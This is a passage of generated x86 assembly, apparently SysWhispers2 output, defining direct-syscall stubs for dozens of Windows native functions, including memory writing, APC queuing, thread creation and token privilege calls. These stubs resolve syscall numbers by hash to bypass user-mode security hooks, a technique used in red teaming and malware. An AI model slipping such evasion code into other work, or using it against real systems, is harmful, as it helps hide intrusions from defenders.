dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtUnmapViewOfSection ENDP
NtReplyWaitReceivePortEx PROC
push ebp
mov ebp, esp
push 00785DBD1h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReplyWaitReceivePortEx ENDP
NtTerminateProcess PROC
push ebp
mov ebp, esp
push 043DF545Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtTerminateProcess ENDP
NtSetEventBoostPriority PROC
push ebp
mov ebp, esp
push 02E8C321Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetEventBoostPriority ENDP
NtReadFileScatter PROC
push ebp
mov ebp, esp
push 003A00D3Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReadFileScatter ENDP
NtOpenThreadTokenEx PROC
push ebp
mov ebp, esp
push 00A8D7876h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenThreadTokenEx ENDP
NtOpenProcessTokenEx PROC
push ebp
mov ebp, esp
push 0900392B8h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenProcessTokenEx ENDP
NtQueryPerformanceCounter PROC
push ebp
mov ebp, esp
push 071DA5F7Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryPerformanceCounter ENDP
NtEnumerateKey PROC
push ebp
mov ebp, esp
push 0AEBEBF24h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtEnumerateKey ENDP
NtOpenFile PROC
push ebp
mov ebp, esp
push 0DD7AFB39h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenFile ENDP
NtDelayExecution PROC
push ebp
mov ebp, esp
push 0D7B017C2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDelayExecution ENDP
NtQueryDirectoryFile PROC
push ebp
mov ebp, esp
push 032B8BA9Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryDirectoryFile ENDP
NtQuerySystemInformation PROC
push ebp
mov ebp, esp
push 04E9E684Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySystemInformation ENDP
NtOpenSection PROC
push ebp
mov ebp, esp
push 056105A8Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenSection ENDP
NtQueryTimer PROC
push ebp
mov ebp, esp
push 0EBA776ABh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryTimer ENDP
NtFsControlFile PROC
push ebp
mov ebp, esp
push 01CBA4F8Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFsControlFile ENDP
NtWriteVirtualMemory PROC
push ebp
mov ebp, esp
push 0B018A6B4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWriteVirtualMemory ENDP
NtCloseObjectAuditAlarm PROC
push ebp
mov ebp, esp
push 00A942A42h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCloseObjectAuditAlarm ENDP
NtDuplicateObject PROC
push ebp
mov ebp, esp
push 00A379A1Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDuplicateObject ENDP
NtQueryAttributesFile PROC
push ebp
mov ebp, esp
push 02BB9C0ECh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryAttributesFile ENDP
NtClearEvent PROC
push ebp
mov ebp, esp
push 0D289D502h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtClearEvent ENDP
NtReadVirtualMemory PROC
push ebp
mov ebp, esp
push 047D37B57h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReadVirtualMemory ENDP
NtOpenEvent PROC
push ebp
mov ebp, esp
push 0014B06C0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenEvent ENDP
NtAdjustPrivilegesToken PROC
push ebp
mov ebp, esp
push 0059B7696h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAdjustPrivilegesToken ENDP
NtDuplicateToken PROC
push ebp
mov ebp, esp
push 0A580F3A4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDuplicateToken ENDP
NtContinue PROC
push ebp
mov ebp, esp
push 042C6816Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtContinue ENDP
NtQueryDefaultUILanguage PROC
push ebp
mov ebp, esp
push 03B9C0A06h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryDefaultUILanguage ENDP
NtQueueApcThread PROC
push ebp
mov ebp, esp
push 0389B76B1h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueueApcThread ENDP
NtYieldExecution PROC
push ebp
mov ebp, esp
push 0CB1FE84Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtYieldExecution ENDP
NtAddAtom PROC
push ebp
mov ebp, esp
push 094C1936Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAddAtom ENDP
NtCreateEvent PROC
push ebp
mov ebp, esp
push 076A44700h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateEvent ENDP
NtQueryVolumeInformationFile PROC
push ebp
mov ebp, esp
push 06C3CBC8Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryVolumeInformationFile ENDP
NtCreateSection PROC
push ebp
mov ebp, esp
push 00EAC1001h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateSection ENDP
NtFlushBuffersFile PROC
push ebp
mov ebp, esp
push 0BF772D41h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFlushBuffersFile ENDP
NtApphelpCacheControl PROC
push ebp
mov ebp, esp
push 04F9965DFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtApphelpCacheControl ENDP
NtCreateProcessEx PROC
push ebp
mov ebp, esp
push 0838DD751h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateProcessEx ENDP
NtCreateThread PROC
push ebp
mov ebp, esp
push 07D25AD99h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateThread ENDP
NtIsProcessInJob PROC
push ebp
mov ebp, esp
push 0652EB71Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtIsProcessInJob ENDP
NtProtectVirtualMemory PROC
push ebp
mov ebp, esp
push 001911B13h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtProtectVirtualMemory ENDP
NtQuerySection PROC
push ebp
mov ebp, esp
push 006DC0841h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQuerySection ENDP
NtResumeThread PROC
push ebp
mov ebp, esp
push 00D2D038Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtResumeThread ENDP
NtTerminateThread PROC
push ebp
mov ebp, esp
push 04EEE5467h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtTerminateThread ENDP
NtReadRequestData PROC
push ebp
mov ebp, esp
push 062FC724Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReadRequestData ENDP
NtCreateFile PROC
push ebp
mov ebp, esp
push 0AA9825B3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateFile ENDP
NtQueryEvent PROC
push ebp
mov ebp, esp
push 0C88E448Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryEvent ENDP
NtWriteRequestData PROC
push ebp
mov ebp, esp
push 02084CC8Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWriteRequestData ENDP
NtOpenDirectoryObject PROC
push ebp
mov ebp, esp
push 0829C9002h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenDirectoryObject ENDP
NtAccessCheckByTypeAndAuditAlarm PROC
push ebp
mov ebp, esp
push 034AB2E06h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 16h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAccessCheckByTypeAndAuditAlarm ENDP
NtWaitForMultipleObjects PROC
push ebp
mov ebp, esp
push 031A1FEE3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitForMultipleObjects ENDP
NtSetInformationObject PROC
push ebp
mov ebp, esp
push 067584C07h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationObject ENDP
NtCancelIoFile PROC
push ebp
mov ebp, esp
push 0349DC0D6h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCancelIoFile ENDP
NtTraceEvent PROC
push ebp
mov ebp, esp
push 038BF1F2Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtTraceEvent ENDP
NtPowerInformation PROC
push ebp
mov ebp, esp
push 082099CB9h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtPowerInformation ENDP
NtSetValueKey PROC
push ebp
mov ebp, esp
push 039E4DC86h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetValueKey ENDP
NtCancelTimer PROC
push ebp
mov ebp, esp
push 005BA93BEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCancelTimer ENDP
NtSetTimer PROC
push ebp
mov ebp, esp
push 02096B195h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetTimer ENDP
NtAccessCheckByType PROC
push ebp
mov ebp, esp
push 05EF96A36h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAccessCheckByType ENDP
NtAccessCheckByTypeResultList PROC
push ebp
mov ebp, esp
push 025B92B23h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAccessCheckByTypeResultList ENDP
NtAccessCheckByTypeResultListAndAuditAlarm PROC
push ebp
mov ebp, esp
push 0165116CEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 16h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAccessCheckByTypeResultListAndAuditAlarm ENDP
NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC
push ebp
mov ebp, esp
push 03B942F24h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 17h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP
NtAcquireProcessActivityReference PROC
push ebp
mov ebp, esp
push 0D89B3687h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAcquireProcessActivityReference ENDP
NtAddAtomEx PROC
push ebp
mov ebp, esp
push 089ABB72Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAddAtomEx ENDP
NtAddBootEntry PROC
push ebp
mov ebp, esp
push 0099CE2FEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAddBootEntry ENDP
NtAddDriverEntry PROC
push ebp
mov ebp, esp
push 00995190Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
